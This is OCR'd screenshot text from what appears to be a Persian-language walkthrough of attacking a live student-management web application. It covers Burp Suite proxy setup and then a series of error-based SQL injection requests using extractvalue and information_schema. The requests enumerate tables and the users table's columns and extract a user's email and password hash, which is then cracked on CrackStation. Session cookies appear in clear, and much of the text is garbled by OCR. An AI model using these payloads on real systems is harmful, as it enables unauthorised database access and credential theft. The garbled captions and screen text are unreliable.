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Filter L) Hide data URLs m XHR JS €55 Img Media Font Doc WS Manifest Other [ Only show requests with SameSite issues
Mame ® Headers Preview Response Initiator Timing Cookies
M ¥ General
bootstrap.min. .
[ DUOLSEAR.IM &S Request URL: ‘frontend/login
B[l s g sk L Request Method: GET
metisMenu.min.css -
— Status Code: @ 200
| | sb-admin-2.css
— Remote Address: 127.0.0.1:39825
font-aweseme.min.css
— . Referrer Policy: no-referrer-»hen-dnwngrade
| | js-persian-cal.css
| | iquery.min js r Response Headers
| | bootstrap.min.js accept-ranges: bytes
| metisMenu.min.js ar-atime: 0.677
|_| jquery.dataTables.min.js - ar-cache: MISS
23 requests | 2.7 KB transferred = 5¢ ar-poweredby: Arvan Cloud (arvancloud.com}
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]El v R I a @ Al HTML C€S5 ]S XHR Fonts Images Media WS Other Persist Logs Disable Cache = No Throttling = HAR 2

5t M Do... |File Ca.. Ty Tra Si ity

14318 hr hir5B3 B 16RReduest URL: https: /4 systudents/update /14318

Request Method: POST

htr 779 B 44 = = = -
Status Code: EHD 0k @

Version: HTTP/2

Referrer Policy: no-referrer-wnen-downgrade

A
~ Response Headers (548 B)
accept-ranges: bytes

465 B [ 1.33 KB transfered ar-atime: 0.080

Edit ana Resena

Raw Headers

o 2 requests

AU o (sl AT 9o p3ls yuusti 9) (5)S3 yasuis Wledbl g 23S Iy2l1 1) update Cuwlg>)s o

L 3BI0 295> L? U EwaY EISao HU )S)9p0 IS Ao )3 |y Cuwlgd)s yw)sl

- a3o giled 1y 9 JolS juue 9 Canl 034 Ua> L3 it Suiaass A4S yghilod
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Error - Mozilla Firefox
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Fle Edit Wiew History Bookmarks Tools Help
X | hor X |+
<« @ 0 a mystu 31 B .- w n @ @
An Error Was Encountered
#0 application/libraries/Grocery_CRUD.php{4490):
. php(4035): Grocery_CRUD->render() #2 [internal function]:

On the state “update” you must have post data
grocery_CRUD_States->getStatelnfo() #1

Coach->mystudents{'update’, 143187 #3
index.php(206): require_once(')

systemi/core/Codelgniter,php(359): call_user_func_array{Array, Array) #4

") #5 {main}
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Burp Intruder Repeater window Help

Scanner | Intruder | Repeater | Sequencer 1 Decoder ] Comparer IExbundar Iijar:t options ]Uuer aptions | Alerts i

2] Proxy Listeners
@ Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your browser to use one of the listeners as Its proxy server.
[ Add J RUNNING pekibil ble | Redirect Ce
@ I 127.0.0,1: 8080 Per-hast
| Edt | ah
| Remave L
Each installation of Burp generates its own CA certificate that Prowy listeners can use when negotiating SSL connections. You can impert ar export this certificate for use in ather toole or another installation of
Burp,
[ Impart [ export CA certificate | | Regenerate CA certificate J
7| Intercept Client Requests
@ Use these settings to contral which requests are stalled for viewing and editing in the Intercept tab.
& Intercept requests based on the following rules:
Add Enabled | Operator | Match type | Relationship | Candition
- — File extension  Does not match (~gif$| ~jpg$| ~pngs| ~css§| s§|.-
Edit (m] or Reguest Contains parameters
< =] or HTTP method Does not match Igetjpost)
Remove o And URL Is in target scope >
Up
—_— =
. . %
. o g0 .
oxiSao pabiid 9) Proxy g payae Mozilla Firefox )3)9y0 o3
]
History Bookmarks Tools Help
Ctri+Z L
Ctri+Shift+Z
< Cut tri+ IQ Search with Google or enter
L Oy Wiy g®
Paste - +y
Slata - "
Delete L3 Search the Web
ect A tri+A
&) Firefox  about:preferences#searchResults g

Search Results

Network Settings

Configure how Firefox connects to the internet. Learmn more




Connection Settings

Configure Proxy Access to the Internet
Mo proxy
Auto-detect proxy settings for this network
Use system proxy settings

@ Manual proxy configuration

HTTP Frogy 127.0.0.1 Port BOBO
« Also use this proxy for FTP and HTTPS
HTTPS Proxy ort
ETP Proxy Port
SOCKS Host | 127.0.0.1 Port  BOBO
SOCES w4 (@) SOCKS ¥5
Automatic proxy configuration URL
Help Cancel ?

. @30 alxil 1y 3y J=lye burp suite ssl certificate wuai sy
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Burp Intruder Repeater Window Help
Targe m Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Cormparer T Exten
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Forward Drop Intercept is off J Action
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View  History Bookmarks Tools Help

Professional i
R 44 NGB ® &

@ O & hitp:/burp 1

CA Certificate

Opening cacert.der

Suite Professional

‘You have chosen to open:

to Burp Suite Professional.

[ cacert.der
which is: der File (973 bytes) 3

from: http://burp

Would you like to save this file?

Cancel

j If Preferences x |+

&) firefox | about:preferences#searchResults

Search Results

Certificates
When a server requests your personal certificate

Select one automatically

® Ask you every time cert
Query OCSP responder servers to confirm the current validity of View Certificates. ..

certificates

Certificate Manager

Your Certificates People Servers Authorities

You have certificates on file that identify these certificate authorities

Certificate Name | security Device

~ AC Camerfirma S.A.
Chambers of Commerce Root - ... Builtin Object Token

Global Chambersign Root - 2008 Builtin Object Token
w AC Camerfirma SA CIF AB2743287
Camerfirma Chambers of Com... Builtin Object Token

Camerfirma Global Chambersig... Builtin Object Token

w ACCY
ACCVRAIZ1 Builtin Object Token
View... Edit Trust... Export... Delete or Distrust...

oK



Select File containing CA certificate(s) to import

{2 Home 4 Downloads  »

Type Modified

[ Desktop 3
B cacert.der 973 bytes Text 10:56

[ Documents

dd Music

31 Pictures

'l Videos

+ Other Locations

Certificate Files »

Cancel I Open I
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l Target I Frosy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder I Camparer I Extander ] Praject options .F User opbions T Aleris i

l Ir:tarl:ep:] HTTP histary TW:bSnckuts history i Ophtions ]

; [ Reguest ta hrtps:/)

Forward | |

ROe L 12 d MLE v LIDUTRY

Accept: application/jsen, textfjavascript, #/%;
Accept-lLanguage! en-US,enig=0.5
Accept-Encoding: gzip. deflate

Comtent -Type: applicetion/z-www-forn-urlencaded; o

Send to Spider
Do an active scan

L

Send to Comparer
Send to Decoder

H-Requested-With: ¥MLHEtpReguest Request in browser »
Content -Lenath: 105 Engagemaent toals [ 3
grl"""é 1 Change request method
onnection: clase ;
Referar: mystudent Change body encading
Coskie: PHPSESSID=25com2891g0l4095rarbolgefs; Copy URL
ci_session=5CzRGy 30vweklHogx (N3] 14] KW YFhKnNAGLIGsH Copy &s curl command [BsLj xlmgFrol 30pgCt 28ay 0o X c XOFSk x B32a5t gShzAUd IhZniy
BHCVZrSES] MVgPLGZL41e3a3at 40ny kGt uds D30m L 2FNGaY | Copy to fila la% ZBOMTCEDY v 2FanGy xv 2g 40YRAI An sk TK2P% 28gn ¢ rdsMak Phoi
= = paste fram file b 2Fv% 2BRB 0 JDC g1 55wy nEETER I frl CfDASLx J27Act AxS
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Sawve item
page=l&per_page=10&order_by%58%50=1_name&order_by Don't intercept requests B rhsearch_text%58%50=t
Do intercept [
{ ert selection [ 3

URL-encode ag you type
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o Burp Suite Profi
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Target - Spider T Scanner T Intruder I Repeater ] Sequencer T Decoder ] Comparer [ Extender ] Project options [User options | Alerts i

159,35 19>

Go l < v > Target: https:/ .com l:’ ll
Request Response
l H.I\II Params I Headers ] Hex ] Raw | Headers | Hex | HTML | Render
POST nystudents/ajax_list HTTP/1.1 N 3 i
Host ¢ - r
User-Agent: Mozilla/5.0 (¥11: Uburtu: Linux x86_84: rv:73.0) Gecko/20100101 Zeontainer {
Firefox/73.0 margin: 10px;
Accept: application/ison, tert/javascript, */%; g=0,0L border: 1px solid #DODODO;
Accept-Language: en-US,en;g=0.5 ~webkit-box-shadow: 0 0 8Spx #DODODO;
Accept-Encoding: gzip, deflate 3
Content-Type: application/x-www-form-urlencoeded; charset=UTF-8
X-Requested-With: XMLHttpRequest ri
Content -Length: 1081 margin: 1Zpx 15px 1Zpx 15px;
origin:
Connection: close =/style=
Referer: hitps:// nystudents =</head= I
Cookie: PHPSESSID=eScSm2891g01 4055 rarbOLg6fs: <body=
ci_session=5CzRGy 38vwek]HOgx 0N 247 KWYFhKnMigl J6sNKSgF gt ng )20 Ge 3] GVLRS 2BwHAGAN: 282 <div id='containerts
3sLj x1ngFrol S0pglk2BayOo Xe XOFSkx 83235t gShz AU Ih2n X% 2FL] 129 THEZwk TOh% ZFTrnpk Shbsa SOFM <hl=A Database Error Occurred=/hl=
giYesgMLIBHCVZrSES] MVgPLG2141e 333t 40ny ak Gt uds 930mGL 2FNGa v Tk TNDI Dx PamdUit unZBvhcCzWsp =p>Error Munber: 1054=/p=<p=Unknown colunn “ddd' in ‘where
V52 TEIMEJa% ZBOMTCEDY VS 2Fan Gy £y 2g 49YAI Az 3k K 2P% 28gm rrd sMAk PhONHL Agh APHKDK: 2By L N20DoWz clause’ §/p==p=SELECT * .%, joachd4454.name AS s9ach44sq
uhoNUne% 2FERS9U7] boTADS1C3Dt TOik% 2BpFl s5g6ce SheRBVAT vExYYCGkHeDe f r SxmkeeYjOpUasdky Mz FROM (~ Lcrilenrs )
%2681 ry ek DF2S05PE 2p0% 2Py 2BRBY IDC15Swwwy nEETERY T frl CfDASLx JZ7Act Ax SNL DOsPwyt Sh3sst LEFT JOTN “status’ as j9ach4454 ON °j9ach4ds4” . id = * UL status”
93cEHEPIGN 30530 _hjid=1leSaanad5-1ca3- 4f78-9513- 24bB32b250a9; _hiIncludedInSample=1 WHERE h
AND - ddd LIKE "5%°
page=l&per_page=10&order_by%58%5D=1_nane&order_by%58%50=asc ORDER BY "1_name asc
earch_text%SES0= LIHLT 10</p=-p-Filename:
crud_nodel. php=
Jp==p>Line Nunber: 87=/p> =fdiv>
</body>
- </html = o
v v
? < + > Tvpe & s=arch te 0 matches ? < st (e e & search te 0 matches

pailgine SU gl 51 a3laiwl b xpath injection aie b ( s JJle) SQL Injection (33 cawl dby

. 02391 Cawds Iy ... 9 GnylS Hous dalS g (539518 ab siilo pgo Lol
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o Burp Suite Professional v1.7.37 - Temporary Project - license

Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User option:

1 x|

Go Cancel < | >

Request Response

_[ RawT Params T Headers THex ] _[ Raw | Headers | Hex | F

POST nystudents/ajax_list HTTR/1.1 2

Host : - #container {

User-Agent: Mozilla/S.0 (®11l: Ubuntu; Linux x86 64; rv:73.0) Gecko/20100101 margin: 10px;

Firefox/73.0 border: 1px sol:

Accept: application/json, text/javascript, */%; g=0.01 -webkit-box-sha

Accept-Language: en-US,en;g=0.5 3

Accept-Encoding: gzip., deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8 p {

¥-Requested-With: XMLHttpRequest margin: 1Zpx 15

Content-Length: 222 H

Origin: </style=

Connection: close =/head=

Referer: ‘mystudents =hody=

Cookie: PHPSESSID=eScom2891lg0l4095rarb0lgefs: =div id="contall

ci_session=5CzRGy39YweklHIgxCW3] 147 KwYFhKmMWg1lJI6sMKSgF3gtmgJzDiGe3j GV1R% 2BwXRGANE2Be <hl=A D

3sLj x1ngFrol S0pgltk 2Bay OoXc XOFSkx832a5t gShz AUd Jh2n X% 2FL] 1 20 THPzwk TDh% 2FTnnpk SNbsaSQFM =p=Erro

giY¥xsgMs 2BHCVZrSES] MVgPLG21l4le3a3at 40myak Gtuds930mGE 2FXGay Tk TNDIDxPamdUt umZBEvhc CzwW3p fp}{p}SELECT " co

Vsz7EIME]a% 2B0OMTCETY vk 2Fan Gy x vz g49YRIAaak 7K 2F% 2Bgm r rdsMak PhONHL Aqb APHE DK% 2By LN200oWz O & orders’” )

uhoNUma% 2FBR59U 7] boTADs1C30t TO1k% 2BpRl sSg6ceSheREVAT vExYY CGkHeDe f rSxmkeeYj OpUaedky Mz

1% 2B81 ryekDFz9DSPt zp0f: 2Fv% 2BRBg JDCg 1 5Swwwy NEETERy I Tnl CTDASLx J27 Act Ax SN DOsPwvwt 9h355T

93cEHEPIg%30%30: _hjid=1leSaaadS-lca3-4f78-9513-24b832b250a9; _hjIncludedInSample=1

page=l&per_page=10&order_by%SB%50=1_name&korder_by%SB%S0=asch&search_field%SBsSh=extra

ctvaluel Ox0a, concati0xGa, (select table_name from information_schema.tables where

TABLE_SCHEMA = databasel(] limit 0,1)))&search_text%5B%50= INEE—
Sp=<p=Line Mumber: 87=/|
=/body=



o Burp Suite Professional v1.7.37 - Temporary Projeci

Burp Intruder Repeater Window Help

[ TargetT Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T

1 x|

Request Response
_[ RawT Params T Headers T Hex ] Raw | Heade
POST . mystudents/ajax_list HTTR/1.1 A
Host : - #container {
User-aAgent: Mozilla/5.0 (¥11; Ubunmtu; Linux x86 64; rv:73.0] Gecko/20100101 margi
Firefox/73.0 borde
Accept: applicationfison, text/javascript, */%; g=0.01 -webk
Accept-Language: en-US,en;g=0.5 ¥
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 p £
¥-Requested-With: XMLHttpRequest margi
Content-Length: 223 }

Origin: <fstyle=
Connection: close =/head=
Referer: Smystudents <body=
Cookie: PHPSESSID=eScom2891g0l4o095rarb0lgsefs; =div

cl_session=5CzRGy39YweklHIgxCOW3] 147 KwYFhKmMWgl J6sNKSaF3gt moJzDiGe 3] GV1RE 2BwKRGAN: 2B
3sLjx1lngFrol 20pglt2Bay OoXc XOFSk x832a5St gShzald Jh2n % 2FL] 1 2gTHPzwk TDR% 2FTnnpk SNbsaSQFM
gi¥xsgMs2BHCVZrSES] MVqPLG214le3aSat 40myak Gt uds930mGE 2FXGay Tk TNDIDxPamdLt umZBvhc CzW3p m
Vsz TEINEJa% ZB0MTCESY v 2FanGy x vz g 48y RIAaakK TK.2F% 2Bgm r rdsMAkPhOMNHL Aqb APHK DK 2By LNZ000Wz R0

uhoMNUma% 2FERS5U7] bo TADS1C30t TO1k% 2BpRL s5g6ceShe REVATvEXYYCGkHeDe T rSxmkeeY] OpUaedky Mz
1% 2B81ryekDFz9DSPt zp 0% 2Fv% 2BRS0 JDC155wwwyNEETERVI Tl CfDASLx 127 Act Ax SN DOsPwvt 9h 355
93cEHEPIQ%30%30; hjid=1e9aaad5-1ca3-4f78-9513-24b832b250a9; hjIncludedInSample=1

page=l&per_page=10&order_by%56%50=1_nameforder_by%S5B%Sh=ascisearch_fiel d%5B%50=extra
ktvaluelCOx0a, concat (Ox0a, (select table_name from information_schema.tables where
TABLE_SCHEMA = database() limit 38, 1)) )&search_text%SE%50=

fp==p=Line Nu
1 | =/h njrlﬂr-o:-a"-\-p-'l_;l

=/body=
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o Burp Suite Professional v1.7.37 - Temporary Project -
Burp Intruder Repeater Window Help

Sequencer | Decoder

Comparer

Praject options

II Go | | Cancel < v | -

Request Response
Params | Headers | Hex Headers
POST ystudents/ajax_list HTTP/1.1 i
Hoest ¢ o fcontainer {
User-Agent: Mozillas5.0 (¥11: Ubumtu: Linux xB6 B4: rv:73.0) Geckos20100101 margin:
Firefox/73.0 border:
Accept: applicatien/ison, text/javascript, #/%; g=0.01 -wehkit
Accept -Language: en-US,en;g=0.5 }
Accept-Enceding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 p L
X-Reguested-With: XMLHttpRequest margin:
Content -Length: 219 }
Origin: <fstyle=
Connection: close <fhead=
Retferer: mystudents <body=
Cookie: PHPSESSID=eScSm28591lg0L4055rarbdlgats: =div id
cl_session=5CzR0y 39vwek]l H9gx OW3 14) KwYFhknMwgl J6sMESqF3gt ng Jz01 Ge3) GV1FS 28w XRGANG 2Be
3sLj xlngFrol S0pgli2Baydo Ko XOFSkxB32a5t gShz AUdIh2n % 2FL] L2gTHPzwk TDh% 2 Tnnphk SNbsa SQFM
gi¥es g 2ZBHCVIrSES] MV gPLG2141e 3a3at A0ny ak Gt uds 950w G 2FXGay Tk TNDI Dx PandUt unZBvho CzwW3p
V=2 FEImMEJa% 2B0MTCESY v L 2Fan Gy x v 2g49YR) Aa ak 7K 2F% 2Bgm r rd sMAk PhiONHL Agh APHE Dk % 2By L N20DaWz
uhahUna% 2FERSOUT] baTADS 1 C30t TOLk% 2BpRl 5 5g6ce SheRBVATvEx Y YCGkHeDe f r SxnkeeY] Oplasdky Mz
J%2B81 ry ek DFz2DSPE 2 p 0% 2Fv% 2BREY JDCg 15 SwwwynEETERY I frl CTDASLx J27 Act Ax SNLDOsPwvt Sh 355
S3cEHEPIgH30%30;: _hiid=leSaaadS-lca3- 4f78-9515-24b8320250a%9; _hiIncludedInSample=1
page=l&per_page-l0&order_by%SE%SD-1_naneborder_by%GCE%SD=ascisearch_field%SE%SD-extra
ctvalue|GxBa, concat|0x0a, [select colunn_name from infermation_schema.columns where
table_name = ‘users' linit 2 1]))&search_text%SE%S0=
Jp==p=Line Nunh
=fbody=
L. =/html=
L] Burp Suite Professional v1.7.37 - Temporary Project -

Burp Intruder Repeater Window Help

Scanner | Intruder Decoder

Target | Frowy | Spider Sequencer

Project options

Reguest

POST nystudents/ajax_list HTTPf1.1
Hest :
User-Agent: MozillasS.0 (X11: Lbumtu: Linux x86_B4; rv:73.0) Gecko/20100161
Firefox/73.0

Accept: applicatiensison, text/javascript, #/7%; g=0,01

Accept -Language: en-US,en;g=08.5

Accept-Enceding: gzip, deflate

Content -Type: application/x-www-form-urlencoded; charset=UTF-8
X-Reguested-With: XNMLHttpRequest

Content -Length: 219
origin: [
Connection: close
Hcfcrcr:—-rstudcnts

Cookie: PHPSESSID=eScSm2891g0l 4055rarbOlgsts:

c1l_session=5CzR0y 39Ywek 1 HSgx OW3] 147 KwYFhaMNegl J6sHESqF3gt ng Jz0n Ge 37 GV1RN 26w KRGAN: 2Be
3sLj x1mgFrol $0pglt2BaydoXc XOFSkx832a5t gShzAUDIh2n X% 2FL] L2gTHRzwk TDh% 2FTnnpk Shbsa SOFM
giv¥xsgMuIBHCVIrSES) MVgPLGZ141e 3a3at 40ny ak Gt uds 930w Gy 2FXGav Tk TNDI Dx PandUt unZBvhc C2W3p
VszZ TEIMEJa% 2BOMTCEDY VL 2Fan Gy x v 2g 497 R Aa ak 7K 2P 2Bgmr r d sMAk PhiONHL A b APHE Dk ™ 2By L N2Q0aWz
uhaNURg%: 2FERSOUT) baTADS 1C30t TOLkY 2BpRl 8 SgGce SheREVAT vEX Y CGkHeDe f rSxnkeey] OpUasdk y Mz
J%2B81 ryek DFz O0SPE zp 0% 2Fvi 2BR89 IDC 1 58wwwy nEETERN T frl CTDASLx J27Act Ax SNL DOsPwyt Sh355f
Y3cEHEPIEH30%30: _hjid=leSaandS-lcad- 4f78-9513- 24bB320250a9; _hiIncludedInSample=1

LA

H Params | Headers | Hex |
T

age=l&per_page=l@&order_by%5E%5D=1_nane&order_by%SE%SD=ascésearch_fiel d%SE%SD=extra
tvalue(BxGa, comcat|O0x0a, [select column_name from informationm_schema.colunns whare
able_name = ‘users' limit 3 1]))&search_text%58%50=

| ‘B

Response

geontaimer {

margin:
border:
=wehkit -
¥
pi
margin:
}
<fstyle=
<=/head=
=bady=
iy ids

Sp==p=Line HNunls
Sfbodys
=/html =



-9l Cun 1) 3y 9 Jaoal @iy
: dwasl j1 ol

o Burp Suite Professional v1.7.37 - Temporary Project - licens¢

Burp Intruder Repeater Window Help

[TargetT Proxy T Spider T Scanner T Intruder T Repeater T Seguencer T Decoder T Comparer T Extender T Project optiens T User optior

1 x| 2 x [

Go Cancel < v > |

Request

RE‘SPOI'I‘;E‘
J Raw T Params T Headers T Hex ] _[ Raw | Headers | Hex
POST mystudents/ajax_list HTTP/1.1 A
Host : - #conmtainer {

User-Agent: Mozillas5.0 (X11; Ubuntu; Linux x86_64; rv:73.0) Gecko/20100101 margin: 10px;

Firefox/73.0 border: 1px sol

Accept: application/json, text/javascript, #/%; g=0.01 -webkit -box-shi
Accept-Language: en-US,en;g=0.5 ¥

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlenceded: charset=UTF-8 p{

¥-Requested-With: XMLHttpRequest margin: 1Zpx 1'
Content-Length: 176 3

Origin: «fstyle=

Connection: close </head=

Referer: ‘mystudents =hody=

Cookie: PHPSESSID=eScom2891q0l40595rarb0lgefs; <div id="conta:
ci_session=5CzRGy39YweklHIgx CW3] 147 KwYFhEmMWgl J8sMKSgF3at mgJzD1Ge 3] GVLR% ZBwXRG4N: 2Be =hl=A 1
3sLj x1ngFrol 90pglt 2Bay 0o Xc XOFSk x832a5t gShz AUd Jh2n X% 2FL] 1 2gTHPzwk TDh% 2FTnnpk SNbsaSQFM =p=Erp
gi¥xsgME2BHCVZrSES]) MVgPLG2141e3a3at 40my ak Gt uds930mG% 2FXGav Tk TNDIDxPamd bt umZBvhe CzW3p Agmail. cnmr<

Vsz7EIMEJa% 2B0M7CEaY v 2FanGy xvzg 49YRI AaakK 7K 2P% 2Bgm r rdsMAk PhONHL Agb APHK Dk % 2By LN2Q0oWz
uholUma%2FBRS9UT] bo TADS1C30t TO1k% 2Bp Rl s5g6ceSheREVATvEXYYCGkHeDef rSxmkeey ] OpUaedkyMz
J%2B81ryekDFzSDSPL zp Of% 2Fv% 2BREg JDCg155wwwy NEETERv I TRl CTDASLx J27 Act AxSNL DOsPwvt Sh3ssT
93cEHEPIg%30%3D; _hjid=1e9aazad5-1ca3-4f78-9513-24b832b250a9; _hjIncludedInSample=1

page=l&per_page=10&order_by%5B%S0=1_name&order_by%5B%Sh=asc&search_field%5B%SD=extra
ctvaluel 0x0a, concat (Ox0a, (select user_email from users Timit
0.1)] ) &search_text%5SE%50=

/p=<p=Line Number: 87<,
=/body=

8 Bl dyouus 3



o Burp Suite Professional v1.7.37 - Temporary Project - licensed to surfe

Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner T Intruder TRepeater T Sequencer T Decoder T Comparer T Extender T Project options T User options T Alerts -]

1 e e 4 =

Request Response
_[ Raw T Params T Headers T Hex ] _[ Raw T Headers T Hex T HTML | Rend
POST mystudents/ajax_list HTTP/1.1 " #comtainer {

Host : . margin: 10px;

User-Agent: Mozillas5.0 (¥11; Ubuntu: Linux x86 64 rv:73,0] Gecko/20100101 border: 1px solid #DoDeEDO
Firefox/73.0 -webkit -box-shadow: 0 0 8
Accept: applicationfjson, text/javascript, #/%; g=0.01 }

Accept-Language: en-US,en:;g=0.5

Accept-Encoding: gzip, deflate p{

Content-Type: application/x-www-form-urlencoded; charset=UTF-8 margin: 1Zpx 15px 1Zpx 15
®-Requested-With: XMLHttpRequest ¥

Content-Length: 179 =/style=

Origin: </head=

Connection: close <body=

Referer: JSmystudents =div id="cestainer"=
Cookie: PHPSESSID=eScomZ89lg0l 4095rarb0lgsfs: =hl:A Database Er
cl_session=5CzRGy39YweklHIgxCW3] 14] KwYFhKmNAgl J6sNKSgF3gt mgJzDiGe 3] GV1R% 2BwXRGAN: 2Be n=Frror Hi :
3sLjx1lngFrol 90pgDt 2BayBoXc KOFSk xB32a5t gShz AUd Jh2nX®% 2FL] 12gTHPzwk TDh% 2FTnnpk SMbsaSQFM al24ce7hi B?al}l <

glYxsgMs 2BHCVZrSES] MVgPLGZ1l4leSa3at 40myak Gt uds93DmGs 2FXGay Tk TNDIDx Pamd Lt umZBv hc CzWp
Vsz7EIMEJa%2BO0MTCASY v ZFam Gy xvz g 49YRIAaaK T 2F% 2Bgmr rdsMAk PhONHL Agb APHKDk % 2By L M2000Wz
uhoNUma% 2FBRS9U7] boTADS1C30t TO1k% 2BpRL sSg6ce SheRBYATvExYYCGkHeDe f roxmkeeYj OplaedkyMz
J%2B81 ryekDFz 9DSPT zp 0% 2Fv% 2BREg JDC1SSwwwynEETERvI fnl CTDASL x J27Act Ax SNl DOsPwvt 9h3s5f
93cEHEPI%30%30; _hjid=1le9aaadS-1ca3-4f78-9513-24b832b250a9; _hjIncludedInSample=1

page=1&per_page=10&order_by%5B%50=1_name&order_by%5B%Sh=aschsearch_fiel d%SB%SO=extra
ctvalue(Ox0a, concat (Ox0a, (select user_password from users Timit
0,1)))&search_text%5SE%s50=

Sp=<p=Line Number: 87</p= =
=/body=
. </html=

1Y Cawnd Hash jl sz @ 0iS 53S9 o bol auisbuo 3y9au 4y Hash ol 313 399 LISuine 4 Lol

35> b b 53 5503 ju> piuw piSae 03laiwl substring QU )l L&



o Burp Suite Professional v1.7.37 - Temporary Proje

Burp Intruder Repeater Window Help

[TargetT Proxy T Spider T Scanner T Intruder TRepeater T Seqguencer T Decoder T Comparer T Extender T Project options

Gl
Go Cancel < | > |

Request Response
J RawT Params T Headers T Hex ] Raw | Hea
POST mystudents/ajax_list HTTR/L.1 A ¥
Host: -

User-Agent: Mozillas5.0 (¥11: Ubuntu; Linux xB6_84; rv:73.0] Gecko/20100101 #container
Firefox/73.0 mar
Accept: application/json, text/javascript, */%; g=0.01 bor
Accept-Language: en-US,en;g=0.5 -We
Accept-Encoding: gzip, deflate ¥

Content -Type: application/x-www-Torm-urlencoded; charset=UTF-8

¥-Requested-With: HMLHttpRequest p i

Content -Length: 193 mar
Origin: . }
Connection: close =fstyle=
Referer: Smystudents =/head=
Cookie: PHPSESSID=eSco9m2B891g0l4095rarb0lg6fs; <hody=
cil_session=5CzRGy39YweklHIgxCW3] 147 KwYFhKmMAgl I6sNKSgF3gt mo Jz01Ge 3] GV1RE 2BwKRGANSG 2B =di

ZsLjxlngFrol 90pgDs 2Bay 0o XcXOFSk x 83285t gShz AUd Jh 20X 2FL] 129 THPzwk TOh% 2FTnnpk SMbsaSQFH
giYxsgMs:2BHCYZ rSES] MVgPLG2141e3a3at 40myak Gt uds930mGE 2FXGav Tk TNDIDxPamd Ut umZBvheCzW3p
VszFEIME]a% 2BOMTCESY v 2FamGy x v Zg49YRI AaakK TK2F% 2Ban r rds Mak PhONHL Ag b APHK Dk 2By LN200oWz =
uholUma% 2FERSSUT] boTADS1C30t TOLk%: 2EpRl s5g6ceSheREVATvEXYYCGlkHeDaf rSxmkeey] OpUaedky Mz
1% 2881 ryekDFz 905Pt zp 0% 2Fv5% 2BRBg JDCY 1 5Swwwy nEETERv I Tnl CfDASLx J27 Act Ax SN DOsPwvt Sh3ssf
Q3CEHEPIQ%30%30;:  hjid=1e9aaadS-1lca3-4f78-9513-24h8320250a89; hjIncludedInSample=1

page=l&per_page=10&order_by%5B%S0=1_name&order_by%SEsSh=aschsearch_fiel d%SE%SD=cxtra
ctvalue(OxGa, concat (0x0a, (select substringluser_password,32) from users Timit
0,1)) ) &search_text%5B%50=

/p==p=Line
- =/body=

- il 3
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o 11 - Visual Studio Code

File Edit Selection View Go Debug Terminal Help

Ln 1, Col 41 (40 selected)

Sl SHAT Giad 0539801 51 Bloisl Cawl 35S 40 Giad Job auiS 0K 531 Cawl Hash s gal >
5 b paiS S)S 9) pird diiiro Eaian) EI)a0 0355 3laiw] 1 3)gu)

* CrackStation - Online Passwc % + - o H3

& X @ crackstation.net r ® ® I 2]

s I '
nranI‘SIaII"“ Defuse.ca - Y Twitter

gilses N
CrackStation ¥ Password Hashing Security ¥ Defuse Security ¥

Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

9.

Supports: LM, NTLM, md2, mg4, mdS, mdS(mdS_hex), mdS-half, shal, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (shal(shal_bin)), QubesV3.1BackupDefaults

Hash Type Result
2 |[sha1 [E

—_—

Color Codes: (B8l Exact match, Yellow: Partial match, [l Not found.
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